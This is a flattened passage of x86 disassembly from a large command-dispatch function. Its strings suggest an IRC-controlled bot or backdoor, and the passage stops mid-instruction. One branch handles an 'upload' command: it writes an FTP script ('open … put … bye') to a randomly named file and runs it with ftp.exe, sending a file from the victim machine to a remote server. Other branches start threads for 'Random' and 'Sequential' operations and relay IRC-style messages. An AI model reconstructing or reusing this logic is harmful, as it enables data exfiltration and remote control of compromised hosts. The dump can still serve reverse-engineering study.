loc_407278 push 32h nop call near ptr 26604A7h jmp short loc_40724B ; --------------------------------------------------------------------------- loc_40725D: ; CODE XREF: sub_401ACD+577Cj call near ptr 2660DCFh nop push eax push offset unk_42A6DC loc_407269: ; CODE XREF: sub_401ACD+4E31j ; sub_401ACD+62BEj ... lea eax, [ebp+var_2C4] push eax call sub_41B886 add esp, 0Ch loc_407278: ; CODE XREF: sub_401ACD+4E15j ; sub_401ACD+5784j ... cmp [ebp+var_8], ebx jnz loc_4083BC push ebx push [ebp+var_4] loc_407285: ; CODE XREF: sub_401ACD+22DEj lea eax, [ebp+var_2C4] push eax push [ebp+var_88] push esi jmp loc_4082A8 ; --------------------------------------------------------------------------- loc_407298: ; CODE XREF: sub_401ACD+4F98j ; sub_401ACD+4FAFj push 0Bh call sub_40B33E push edi mov [ebp+arg_1C], eax call sub_41B779 add eax, [ebp+arg_1C] pop ecx pop ecx cmp eax, 1F4h jle loc_407454 push [ebp+arg_1C] lea eax, [ebp+var_2C4] push offset unk_42A69C push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 20h loc_4072E8: ; CODE XREF: sub_401ACD+526Dj ; sub_401ACD+5639j ... mov esi, [ebp+esi+var_7C] cmp esi, ebx jz loc_401E94 push [ebp+arg_8] push offset aUpload ; "upload" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_409854 push 4 push esi call sub_416908 pop ecx test eax, eax pop ecx jnz short loc_407324 push esi push offset unk_42A674 jmp loc_408CDB ; --------------------------------------------------------------------------- loc_407324: ; CODE XREF: sub_401ACD+584Aj call near ptr 2670D93h nop push eax call sub_41B8D8 pop ecx call sub_41B8E2 push 9 cdq pop ecx idiv ecx push edx call sub_41B8E2 push 63h cdq pop ecx idiv ecx push edx call sub_41B8E2 cdq mov ecx, 3E7h idiv ecx lea eax, [ebp+var_51F8] push edx push eax lea eax, [ebp+var_2E58] push offset aSIII_dll ; "%s\\%i%i%i.dll" push eax call sub_41B886 lea eax, [ebp+var_2E58] push offset aAb ; "ab" push eax call sub_41B4C2 add esp, 20h cmp eax, ebx mov [ebp+arg_24], eax jz loc_401E94 push esi push [ebp+arg_18] push [ebp+arg_0] push edi push [ebp+arg_10] push offset aOpenSSSSPutSBy ; "open %s\r\n%s\r\n%s\r\n%s\r\nput %s\r\nbye\r\n" push eax call sub_41BE06 push [ebp+arg_24] call sub_41B05B add esp, 20h lea eax, [ebp+var_2E58] push eax lea eax, [ebp+var_4CF0] push offset aSS_2 ; "-s:%s" push eax call sub_41B886 add esp, 0Ch lea eax, [ebp+var_4CF0] push ebx push ebx push eax push offset aFtp_exe ; "ftp.exe" push offset aOpen ; "open" push ebx call dword_4CAEE0 push [ebp+arg_10] test eax, eax push esi jz short loc_4073F3 push offset unk_42A604 jmp short loc_4073F8 ; --------------------------------------------------------------------------- loc_4073F3: ; CODE XREF: sub_401ACD+591Dj push offset unk_42A5D4 loc_4073F8: ; CODE XREF: sub_401ACD+5924j call sub_41B886 add esp, 0Ch cmp [ebp+var_8], ebx jnz short loc_407421 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 14h loc_407421: ; CODE XREF: sub_401ACD+5936j lea eax, [ebp+var_2C4] push eax call sub_4151AC loc_40742D: ; CODE XREF: sub_401ACD+5985j lea eax, [ebp+var_2E58] push 4 push eax call sub_416908 add esp, 0Ch test eax, eax jz loc_401E94 lea eax, [ebp+var_2E58] push eax call sub_41BDDC jmp short loc_40742D ; --------------------------------------------------------------------------- loc_407454: ; CODE XREF: sub_401ACD+57E5j push [ebp+arg_10] call sub_41B779 push edi mov [ebp+var_370], eax call sub_41B779 push [ebp+arg_0] mov [ebp+var_358], eax call sub_41B779 add esp, 0Ch cmp eax, 5 mov [ebp+var_36C], eax jnb short loc_40748D push 5 pop eax mov [ebp+var_36C], eax loc_40748D: ; CODE XREF: sub_401ACD+59B5j push 3Ch pop ecx cmp eax, ecx jbe short loc_40749A mov [ebp+var_36C], ecx loc_40749A: ; CODE XREF: sub_401ACD+59C5j push [ebp+arg_18] call sub_41B779 mov [ebp+var_368], eax mov eax, 320h cmp [ebp+var_368], eax pop ecx jbe short loc_4074BC mov [ebp+var_368], eax loc_4074BC: ; CODE XREF: sub_401ACD+59E7j or [ebp+var_354], 0FFFFFFFFh cmp dword_431408, ebx mov [ebp+arg_20], ebx jz short loc_40750B mov edi, offset dword_431408 loc_4074D3: ; CODE XREF: sub_401ACD+5A20j push [ebp+arg_10] lea eax, [edi-28h] push eax call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_4074F1 inc [ebp+arg_20] add edi, 40h cmp [edi], ebx jnz short loc_4074D3 jmp short loc_40750B ; --------------------------------------------------------------------------- loc_4074F1: ; CODE XREF: sub_401ACD+5A16j mov eax, [ebp+arg_20] mov ecx, eax mov [ebp+var_354], eax shl ecx, 6 mov ecx, dword_431408[ecx] mov [ebp+var_370], ecx loc_40750B: ; CODE XREF: sub_401ACD+59FFj ; sub_401ACD+5A22j cmp [ebp+var_370], ebx jnz short loc_40751D push offset unk_42A5A0 jmp loc_406F04 ; --------------------------------------------------------------------------- loc_40751D: ; CODE XREF: sub_401ACD+5A44j mov edi, [ebp+esi+var_7C] cmp edi, ebx mov [ebp+arg_0], edi jz short loc_407558 cmp byte ptr [edi], 23h jz short loc_407558 push edi lea eax, [ebp+var_484] push 10h push eax call sub_41B980 push 78h push edi call sub_41BFB0 add esp, 14h neg eax sbb eax, eax neg eax mov [ebp+var_344], eax jmp loc_407632 ; --------------------------------------------------------------------------- loc_407558: ; CODE XREF: sub_401ACD+5A59j ; sub_401ACD+5A5Ej cmp [ebp+var_8FF], bl jnz short loc_40757A cmp [ebp+var_8FE], bl jnz short loc_40757A cmp [ebp+var_8EE], bl jnz short loc_40757A push offset unk_42A56C jmp loc_406F04 ; --------------------------------------------------------------------------- loc_40757A: ; CODE XREF: sub_401ACD+5A91j ; sub_401ACD+5A99j ... push 10h lea eax, [ebp+var_2D0] pop edi push eax lea eax, [ebp+var_2F8] push eax mov [ebp+var_2D0], edi push [ebp+arg_4] call dword_4CAF18 mov al, [ebp+var_8FF] push edi neg al sbb eax, eax and ax, 100h add eax, 0FFFFh and [ebp+var_2F4], eax push [ebp+var_2F4] call dword_4CB000 push eax lea eax, [ebp+var_484] push eax call sub_41B5F0 add esp, 0Ch cmp [ebp+var_8EE], bl jz short loc_40762C xor eax, eax cmp [ebp+var_8FF], bl push 30h setnz al inc eax inc eax mov edi, eax lea eax, [ebp+var_484] push eax call sub_41BE40 pop ecx cmp edi, ebx pop ecx mov byte ptr [ebp+arg_24+3], bl jle short loc_407620 loc_4075FE: ; CODE XREF: sub_401ACD+5B51j cmp eax, ebx jz short loc_407620 mov byte ptr [eax], 78h lea eax, [ebp+var_484] push 30h push eax call sub_41BE40 inc byte ptr [ebp+arg_24+3] pop ecx pop ecx movsx ecx, byte ptr [ebp+arg_24+3] cmp ecx, edi jl short loc_4075FE loc_407620: ; CODE XREF: sub_401ACD+5B2Fj ; sub_401ACD+5B33j mov [ebp+var_344], 1 jmp short loc_407632 ; --------------------------------------------------------------------------- loc_40762C: ; CODE XREF: sub_401ACD+5B09j mov [ebp+var_344], ebx loc_407632: ; CODE XREF: sub_401ACD+5A86j ; sub_401ACD+5B5Dj mov eax, [ebp+arg_4] push [ebp+var_88] mov [ebp+var_374], eax mov eax, [ebp+var_4] mov [ebp+var_34C], eax mov eax, [ebp+var_8] mov [ebp+var_348], eax mov edi, 80h lea eax, [ebp+var_474] push edi push eax call sub_41B980 mov esi, [ebp+esi+var_78] add esp, 0Ch cmp esi, ebx jz short loc_407683 loc_407670: ; CODE XREF: sub_401ACD+5BD9j push esi loc_407671: ; CODE XREF: sub_401ACD+5BC3j lea eax, [ebp+var_3F4] push edi push eax call sub_41B980 add esp, 0Ch jmp short loc_4076AE ; --------------------------------------------------------------------------- loc_407683: ; CODE XREF: sub_401ACD+5BA1j mov eax, [ebp+arg_0] cmp eax, ebx jz short loc_407692 cmp byte ptr [eax], 23h jnz short loc_407692 push eax jmp short loc_407671 ; --------------------------------------------------------------------------- loc_407692: ; CODE XREF: sub_401ACD+5BBBj ; sub_401ACD+5BC0j mov esi, offset aF ; "#f" push offset dword_43D128 push esi call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_407670 mov [ebp+var_3F4], bl loc_4076AE: ; CODE XREF: sub_401ACD+5BB4j cmp [ebp+var_344], ebx mov eax, offset aRandom ; "Random" jnz short loc_4076C0 mov eax, offset aSequential ; "Sequential" loc_4076C0: ; CODE XREF: sub_401ACD+5BECj push [ebp+var_358] lea ecx, [ebp+var_484] push [ebp+var_368] push [ebp+var_36C] push [ebp+var_370] push ecx push eax lea eax, [ebp+var_2C4] push offset unk_42A504 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 0Bh push eax call sub_40B0F6 add esp, 2Ch mov [ebp+var_364], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_484] push ebx push eax push offset loc_40C33C push ebx push ebx nop call near ptr 266051Eh mov ecx, [ebp+var_364] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_40774E loc_407738: ; CODE XREF: sub_401ACD+5C7Fj cmp [ebp+var_340], ebx jnz loc_40828B push 32h nop call near ptr 26604A7h jmp short loc_407738 ; --------------------------------------------------------------------------- loc_40774E: ; CODE XREF: sub_401ACD+5C69j nop call near ptr 2660DCFh push eax push offset unk_42A4CC jmp loc_4049EB ; --------------------------------------------------------------------------- loc_40775F: ; CODE XREF: sub_401ACD+4F6Aj ; sub_401ACD+4F81j push [ebp+arg_10] call sub_40AAF9 push edi mov [ebp+var_4E0], eax call sub_41B779 push [ebp+arg_0] mov [ebp+var_4F0], eax call sub_41B779 push [ebp+arg_18] mov [ebp+var_4EC], eax call sub_41B779 mov esi, [ebp+arg_4] push 7Fh push [ebp+var_88] mov [ebp+var_4E8], eax lea eax, [ebp+var_570] mov [ebp+var_574], esi push eax call sub_41B5F0 add esp, 1Ch mov edi, [ebp+var_4] mov eax, [ebp+var_8] mov [ebp+var_4D8], edi push [ebp+var_4EC] mov [ebp+var_4D4], eax push [ebp+var_4F0] push [ebp+var_4E8] push [ebp+var_4E0] call dword_4CB000 push eax lea eax, [ebp+var_2C4] push offset unk_42A47C push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 0Bh push eax call sub_40B0F6 add esp, 24h mov [ebp+var_4E4], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_574] push ebx push eax push offset byte_40C759 push ebx push ebx call near ptr 266051Eh nop mov ecx, [ebp+var_4E4] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_407854 loc_40783E: ; CODE XREF: sub_401ACD+5D85j cmp [ebp+var_4D0], ebx jnz loc_403DA0 push 32h call near ptr 26604A7h nop jmp short loc_40783E ; --------------------------------------------------------------------------- loc_407854: ; CODE XREF: sub_401ACD+5D6Fj nop call near ptr 2660DCFh push eax push offset unk_42A440 jmp loc_403D91 ; --------------------------------------------------------------------------- loc_407865: ; CODE XREF: sub_401ACD+4F2Dj ; sub_401ACD+4F44j push [ebp+arg_10] call sub_41B779 imul eax, 234h pop ecx cmp byte_43DEC8[eax], bl jz loc_409854 cmp [ebp+var_C], ebx jz loc_409854 push edi call sub_41AFE0 push [ebp+arg_10] mov esi, eax call sub_41AFE0 push [ebp+arg_8] add esi, eax call sub_41AFE0 add eax, [ebp+var_C] push [ebp+arg_0] lea eax, [eax+esi+2] push eax call sub_41B900 add esp, 14h mov esi, eax lea eax, [ebp+var_2C4] push esi push offset dword_42A434 push eax call sub_41B886 add esp, 0Ch cmp esi, ebx jz loc_409854 push [ebp+arg_10] call sub_41B779 test eax, eax pop ecx jle loc_409854 push [ebp+arg_10] call sub_41B779 cmp eax, 400h pop ecx jge loc_409854 push ebx lea eax, [ebp+var_2C4] push ebx push eax push edi push [ebp+arg_10] call sub_41B779 imul eax, 234h pop ecx push dword_43DEBC[eax] call sub_409A72 push [ebp+arg_10] call sub_41B779 imul eax, 234h add esp, 18h cmp byte ptr dword_43DCB0[eax], 73h jnz loc_409854 push esi push [ebp+arg_10] call sub_41B779 imul eax, 234h pop ecx add eax, offset byte_43DEC8 push eax push edi push offset aSSS_2 ; "[%s] * %s %s" jmp loc_407A35 ; --------------------------------------------------------------------------- loc_40795D: ; CODE XREF: sub_401ACD+4EFFj ; sub_401ACD+4F16j push [ebp+arg_10] call sub_41B779 imul eax, 234h pop ecx cmp byte_43DEC8[eax], bl jz loc_409854 cmp [ebp+var_C], ebx jz loc_409854 push edi call sub_41AFE0 push [ebp+arg_10] mov esi, eax call sub_41AFE0 push [ebp+arg_8] add esi, eax call sub_41AFE0 add eax, [ebp+var_C] push [ebp+arg_0] lea eax, [eax+esi+2] push eax call sub_41B900 mov esi, eax add esp, 14h cmp esi, ebx jz loc_409854 push [ebp+arg_10] call sub_41B779 test eax, eax pop ecx jle loc_409854 push [ebp+arg_10] call sub_41B779 cmp eax, 400h pop ecx jge loc_409854 push ebx push ebx push esi push edi push [ebp+arg_10] call sub_41B779 imul eax, 234h pop ecx push dword_43DEBC[eax] call sub_409A72 push [ebp+arg_10] call sub_41B779 imul eax, 234h add esp, 18h cmp byte ptr dword_43DCB0[eax], 73h jnz loc_409854 push esi push [ebp+arg_10] call sub_41B779 imul eax, 234h pop ecx add eax, offset byte_43DEC8 push eax push edi push offset aSSS_1 ; "[%s] <%s> %s" loc_407A35: ; CODE XREF: sub_401ACD+5E8Bj lea eax, [ebp+var_2C4] push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 28h jmp loc_409854 ; --------------------------------------------------------------------------- loc_407A62: ; CODE XREF: sub_401ACD+4ED1j ; sub_401ACD+4EE8j push [ebp+arg_10] call dword_4CAFB4 push edi mov [ebp+var_680], eax call sub_41B779 push [ebp+arg_0] mov [ebp+var_690], eax call sub_41B779 mov esi, [ebp+arg_4] push 7Fh push [ebp+var_88] mov [ebp+var_688], eax lea eax, [ebp+var_710] mov [ebp+var_714], esi push eax call sub_41B5F0 add esp, 14h mov edi, [ebp+var_4] mov eax, [ebp+var_8] mov [ebp+var_678], edi push [ebp+var_688] mov [ebp+var_674], eax push [ebp+var_690] push [ebp+var_680] call dword_4CB000 push eax lea eax, [ebp+var_2C4] push offset unk_42A3D8 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 0Bh push eax call sub_40B0F6 add esp, 20h mov [ebp+var_684], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_714] push ebx push eax push offset dword_40C668 push ebx push ebx call near ptr 266051Eh nop mov ecx, [ebp+var_684] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_407B44 loc_407B2E: ; CODE XREF: sub_401ACD+6075j cmp [ebp+var_670], ebx jnz loc_403DA0 push 32h nop call near ptr 26604A7h jmp short loc_407B2E ; --------------------------------------------------------------------------- loc_407B44: ; CODE XREF: sub_401ACD+605Fj nop call near ptr 2660DCFh push eax push offset unk_42A4CC jmp loc_403D91 ; --------------------------------------------------------------------------- loc_407B55: ; CODE XREF: sub_401ACD+4EA3j ; sub_401ACD+4EBAj push [ebp+arg_10] call sub_41B779 mov [ebp+var_112C], eax push 7Fh lea eax, [ebp+var_1230] push edi push eax call sub_41B5F0 push [ebp+arg_0] call sub_41B779 mov esi, [ebp+arg_4] add esp, 14h mov [ebp+var_1130], eax lea eax, [ebp+var_11B0] push [ebp+var_88] mov [ebp+var_1238], esi push 80h push eax call sub_41B980 mov eax, [ebp+var_8] add esp, 0Ch mov edi, [ebp+var_4] mov [ebp+var_111C], eax push [ebp+var_1130] lea eax, [ebp+var_1230] mov [ebp+var_1120], edi push eax push [ebp+var_112C] push esi call sub_40AC0F pop ecx push eax lea eax, [ebp+var_2C4] push offset unk_42A39C push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 18h push eax call sub_40B0F6 add esp, 24h mov [ebp+var_1128], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1238] push ebx push eax push offset loc_4103AA push ebx push ebx nop call near ptr 266051Eh mov ecx, [ebp+var_1128] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_407C41 loc_407C2B: ; CODE XREF: sub_401ACD+6172j cmp [ebp+var_1118], ebx jnz loc_403DA0 push 32h nop call near ptr 26604A7h jmp short loc_407C2B ; --------------------------------------------------------------------------- loc_407C41: ; CODE XREF: sub_401ACD+615Cj nop call near ptr 2660DCFh push eax push offset unk_42A358 jmp loc_403D91 ; --------------------------------------------------------------------------- loc_407C52: ; CODE XREF: sub_401ACD+4E75j ; sub_401ACD+4E8Cj push 0FFh lea eax, [ebp+var_2878] push [ebp+arg_10] push eax call sub_41B5F0 push 0FFh lea eax, [ebp+var_2778] push edi push eax call sub_41B5F0 push [ebp+arg_0] mov [ebp+var_2674], ebx call sub_41B779 mov [ebp+var_2670], eax mov eax, [ebp+esi+var_80] add esp, 1Ch cmp eax, ebx jz short loc_407CAB push 10h push ebx push eax call sub_41BDC5 add esp, 0Ch mov [ebp+var_2668], eax jmp short loc_407CB1 ; --------------------------------------------------------------------------- loc_407CAB: ; CODE XREF: sub_401ACD+61C8j mov [ebp+var_2668], ebx loc_407CB1: ; CODE XREF: sub_401ACD+61DCj mov esi, [ebp+esi+var_7C] cmp esi, ebx jz short loc_407CC8 push esi call sub_41B779 pop ecx mov [ebp+var_266C], eax jmp short loc_407CCE ; --------------------------------------------------------------------------- loc_407CC8: ; CODE XREF: sub_401ACD+61EAj mov [ebp+var_266C], ebx loc_407CCE: ; CODE XREF: sub_401ACD+61F9j movzx eax, [ebp+var_8FB] mov esi, [ebp+arg_4] push 7Fh push [ebp+var_88] mov [ebp+var_2664], eax lea eax, [ebp+var_28F8] mov [ebp+var_28FC], esi push eax call sub_41B5F0 mov eax, [ebp+var_4] add esp, 0Ch mov [ebp+var_265C], eax mov eax, [ebp+var_8] push edi mov [ebp+var_2660], eax push [ebp+arg_10] lea eax, [ebp+var_2C4] push offset unk_42A32C push eax call sub_41B886 push esi lea eax, [ebp+var_2C4] push 1Dh push eax call sub_40B0F6 add esp, 1Ch mov [ebp+var_2678], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_28FC] push ebx push eax push offset loc_4163F9 push ebx push ebx nop call near ptr 266051Eh mov ecx, [ebp+var_2678] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_407D7F loc_407D69: ; CODE XREF: sub_401ACD+62B0j cmp [ebp+var_2658], ebx jnz loc_407278 push 32h nop call near ptr 26604A7h jmp short loc_407D69 ; --------------------------------------------------------------------------- loc_407D7F: ; CODE XREF: sub_401ACD+629Aj nop call near ptr 2660DCFh push eax push offset unk_42A2EC jmp loc_407269 ; --------------------------------------------------------------------------- loc_407D90: ; CODE XREF: sub_401ACD+4E47j ; sub_401ACD+4E5Ej push 7Fh lea eax, [ebp+var_3490] pop esi push esi push [ebp+arg_10] push eax call sub_41B5F0 push esi lea eax, [ebp+var_3410] push edi push eax call sub_41B5F0 push esi lea eax, [ebp+var_3390] push [ebp+arg_0] push eax call sub_41B5F0 push esi lea eax, [ebp+var_3310] push [ebp+var_88] push eax call sub_41B5F0 mov eax, [ebp+var_4] add esp, 30h mov esi, [ebp+arg_4] mov [ebp+var_328C], eax push [ebp+arg_0] mov eax, [ebp+var_8] mov [ebp+var_3288], eax lea eax, [ebp+var_2C4] push edi mov [ebp+var_3494], esi push [ebp+arg_10] push offset unk_42A2B0 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 12h push eax call sub_40B0F6 add esp, 20h mov [ebp+var_3290], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_3494] push ebx push eax push offset byte_414A91 push ebx push ebx call near ptr 266051Eh nop mov ecx, [ebp+var_3290] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_407E67 loc_407E51: ; CODE XREF: sub_401ACD+6398j cmp [ebp+var_3284], ebx jnz loc_407278 push 32h nop call near ptr 26604A7h jmp short loc_407E51 ; --------------------------------------------------------------------------- loc_407E67: ; CODE XREF: sub_401ACD+6382j call near ptr 2660DCFh nop push eax push offset unk_42A278 jmp loc_407269 ; --------------------------------------------------------------------------- loc_407E78: ; CODE XREF: sub_401ACD+4D1Aj ; sub_401ACD+4D31j push 7Fh lea eax, [ebp+var_3068] pop esi push esi push [ebp+arg_10] push eax call sub_41B5F0 push esi lea eax, [ebp+var_2FE8] push edi push eax call sub_41B5F0 push esi lea eax, [ebp+var_2F68] push [ebp+arg_0] push eax call sub_41B5F0 push esi lea eax, [ebp+var_2EE8] push [ebp+var_88] push eax call sub_41B5F0 mov eax, [ebp+var_4] add esp, 30h mov esi, [ebp+arg_4] mov [ebp+var_2E64], eax push [ebp+arg_0] mov eax, [ebp+var_8] mov [ebp+var_2E60], eax lea eax, [ebp+var_2C4] push edi mov [ebp+var_306C], esi push [ebp+arg_10] push offset unk_42A248 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 0Eh push eax call sub_40B0F6 add esp, 20h mov [ebp+var_2E68], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_306C] push ebx push eax push offset dword_4137CC push ebx push ebx nop call near ptr 266051Eh mov ecx, [ebp+var_2E68] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_407F4F loc_407F39: ; CODE XREF: sub_401ACD+6480j cmp [ebp+var_2E5C], ebx jnz loc_407278 push 32h call near ptr 26604A7h nop jmp short loc_407F39 ; --------------------------------------------------------------------------- loc_407F4F: ; CODE XREF: sub_401ACD+646Aj call near ptr 2660DCFh nop push eax push offset unk_42A210 jmp loc_407269 ; --------------------------------------------------------------------------- loc_407F60: ; CODE XREF: sub_401ACD+4BF1j ; sub_401ACD+4C08j ... push 7Fh lea eax, [ebp+var_3CE4] pop esi push esi push [ebp+arg_10] push eax call sub_41B5F0 push esi lea eax, [ebp+var_3C64] push edi push eax call sub_41B5F0 push esi lea eax, [ebp+var_3BE4] push [ebp+arg_0] push eax call sub_41B5F0 push esi lea eax, [ebp+var_3B64] push [ebp+var_88] push eax call sub_41B5F0 push 20h lea eax, [ebp+var_3AE4] push [ebp+arg_8] push eax call sub_41B5F0 mov eax, [ebp+var_4] add esp, 3Ch mov esi, [ebp+arg_4] mov [ebp+var_3A64], eax push [ebp+arg_0] mov eax, [ebp+var_8] mov [ebp+var_3A60], eax lea eax, [ebp+var_2C4] push edi mov [ebp+var_3CEC], esi push [ebp+arg_10] push offset unk_42A1E0 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 0Dh push eax call sub_40B0F6 add esp, 20h mov [ebp+var_3CE8], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_3CEC] push ebx push eax push offset byte_412A53 push ebx push ebx nop call near ptr 266051Eh mov ecx, [ebp+var_3CE8] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_408048 loc_408032: ; CODE XREF: sub_401ACD+6579j cmp [ebp+var_3A5C], ebx jnz loc_407278 push 32h call near ptr 26604A7h nop jmp short loc_408032 ; --------------------------------------------------------------------------- loc_408048: ; CODE XREF: sub_401ACD+6563j nop call near ptr 2660DCFh push eax push offset unk_42A1A8 jmp loc_407269 ; --------------------------------------------------------------------------- loc_408059: ; CODE XREF: sub_401ACD+4BC3j ; sub_401ACD+4BDAj push 7Fh lea eax, [ebp+var_1778] push [ebp+arg_10] push eax call sub_41B5F0 push edi call sub_41B779 push 3Fh mov [ebp+var_1628], eax push [ebp+arg_0] lea eax, [ebp+var_16F8] push eax call sub_41B5F0 mov esi, [ebp+esi+var_80] add esp, 1Ch cmp esi, ebx jz short loc_4080A4 push 3Fh lea eax, [ebp+var_16B8] push esi push eax call sub_41B5F0 add esp, 0Ch loc_4080A4: ; CODE XREF: sub_401ACD+65C3j lea eax, [ebp+var_16F8] mov [ebp+var_1624], 1 push eax lea eax, [ebp+var_1778] push [ebp+var_1628] push eax lea eax, [ebp+var_2C4] push offset dword_42A178 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 1Fh push eax call sub_40B0F6 add esp, 20h mov [ebp+var_1620], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_177C] push ebx push eax push offset sub_4017ED push ebx push ebx nop call near ptr 266051Eh mov ecx, [ebp+var_1620] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_408130 loc_40811A: ; CODE XREF: sub_401ACD+6661j cmp [ebp+var_161C], ebx jnz loc_406CDE push 32h nop call near ptr 26604A7h jmp short loc_40811A ; --------------------------------------------------------------------------- loc_408130: ; CODE XREF: sub_401ACD+664Bj call near ptr 2660DCFh nop push eax push offset dword_42A13C jmp loc_406CCF ; --------------------------------------------------------------------------- loc_408141: ; CODE XREF: sub_401ACD+4B83j ; sub_401ACD+4B9Aj push edi call sub_41B779 cmp eax, ebx pop ecx mov [ebp+var_1D64], eax jle loc_408234 push [ebp+arg_10] mov esi, 80h lea eax, [ebp+var_1EEC] push esi push eax call sub_41B980 add esp, 0Ch xor eax, eax cmp [ebp+var_8EE], bl push [ebp+var_88] setnz al mov [ebp+var_1D60], eax mov eax, [ebp+arg_4] mov [ebp+var_1EF0], eax lea eax, [ebp+var_1DEC] push esi push eax call sub_41B980 mov eax, [ebp+var_4] add esp, 0Ch mov [ebp+var_1D5C], eax mov eax, [ebp+var_8] push edi mov [ebp+var_1D58], eax push [ebp+arg_10] lea eax, [ebp+var_2C4] push offset unk_42A110 push 200h push eax call sub_41B980 push ebx lea eax, [ebp+var_2C4] push 15h push eax call sub_40B0F6 add esp, 20h mov [ebp+var_1D6C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1EF0] push ebx push eax push offset byte_412E9D push ebx push ebx call near ptr 266051Eh nop mov ecx, [ebp+var_1D6C] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_408223 loc_408211: ; CODE XREF: sub_401ACD+6754j cmp [ebp+var_1D54], ebx jnz short loc_40828B push 32h nop call near ptr 26604A7h jmp short loc_408211 ; --------------------------------------------------------------------------- loc_408223: ; CODE XREF: sub_401ACD+6742j nop call near ptr 2660DCFh push eax push offset unk_42A0D8 jmp loc_4049EB ; --------------------------------------------------------------------------- loc_408234: ; CODE XREF: sub_401ACD+6683j push offset unk_42A0A0 jmp loc_406F04 ; --------------------------------------------------------------------------- loc_40823E: ; CODE XREF: sub_401ACD+4B55j ; sub_401ACD+4B6Cj push edi push [ebp+arg_10] call near ptr 2680AE1h nop test eax, eax jz short loc_40826B push edi lea eax, [ebp+var_2C4] push [ebp+arg_10] push offset unk_42A07C push 200h push eax call sub_41B980 add esp, 14h jmp short loc_40828B ; --------------------------------------------------------------------------- loc_40826B: ; CODE XREF: sub_401ACD+677Dj push offset dword_42A070 call sub_41814C pop ecx push eax lea eax, [ebp+var_2C4] push 200h push eax call sub_41B980 loc_408288: ; CODE XREF: sub_401ACD+2F2Aj ; sub_401ACD+556Fj add esp, 0Ch loc_40828B: ; CODE XREF: sub_401ACD+2136j ; sub_401ACD+2ECCj ... cmp [ebp+var_8], ebx jnz loc_4083BC push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] loc_4082A8: ; CODE XREF: sub_401ACD+57C6j call sub_409A72 add esp, 14h jmp loc_4083BC ; --------------------------------------------------------------------------- loc_4082B5: ; CODE XREF: sub_401ACD+4B27j ; sub_401ACD+4B3Ej push [ebp+arg_10] lea eax, [ebp+var_3F04] push 104h push eax call sub_41B980 add esp, 0Ch cmp [ebp+var_C], ebx jz short loc_4082EF push edi push [ebp+var_C] call sub_41B900 pop ecx cmp eax, ebx pop ecx jz short loc_4082EF push eax lea eax, [ebp+var_3E00] push eax call sub_41B886 pop ecx pop ecx loc_4082EF: ; CODE XREF: sub_401ACD+6802j ; sub_401ACD+6811j push [ebp+var_88] lea eax, [ebp+var_3F84] push 80h push eax call sub_41B980 mov eax, [ebp+arg_4] add esp, 0Ch mov [ebp+var_3F88], eax mov eax, [ebp+var_4] mov [ebp+var_3CF8], eax mov eax, [ebp+var_8] mov [ebp+var_3CF4], eax lea eax, [ebp+var_3E00] push eax lea eax, [ebp+var_3F04] push eax push offset unk_42A040 lea eax, [ebp+var_2C4] push 200h push eax call sub_41B980 push ebx lea eax, [ebp+var_2C4] push 24h push eax call sub_40B0F6 add esp, 20h mov [ebp+var_3CFC], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_3F88] push ebx push eax push offset byte_416CAD push ebx push ebx nop call near ptr 266051Eh mov ecx, [ebp+var_3CFC] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_4083A1 loc_40838F: ; CODE XREF: sub_401ACD+68D2j cmp [ebp+var_3CF0], ebx jnz short loc_4083BC push 32h nop call near ptr 26604A7h jmp short loc_40838F ; --------------------------------------------------------------------------- loc_4083A1: ; CODE XREF: sub_401ACD+68C0j nop call near ptr 2660DCFh push eax push offset unk_42A004 loc_4083AD: ; CODE XREF: sub_401ACD+925j ; sub_401ACD+A63j ... lea eax, [ebp+var_2C4] push eax call sub_41B886 add esp, 0Ch loc_4083BC: ; CODE XREF: sub_401ACD+7E1j ; sub_401ACD+94Cj ... push 1 pop esi jmp loc_406D02 ; --------------------------------------------------------------------------- loc_4083C4: ; CODE XREF: sub_401ACD+4AF9j ; sub_401ACD+4B10j push 44h lea eax, 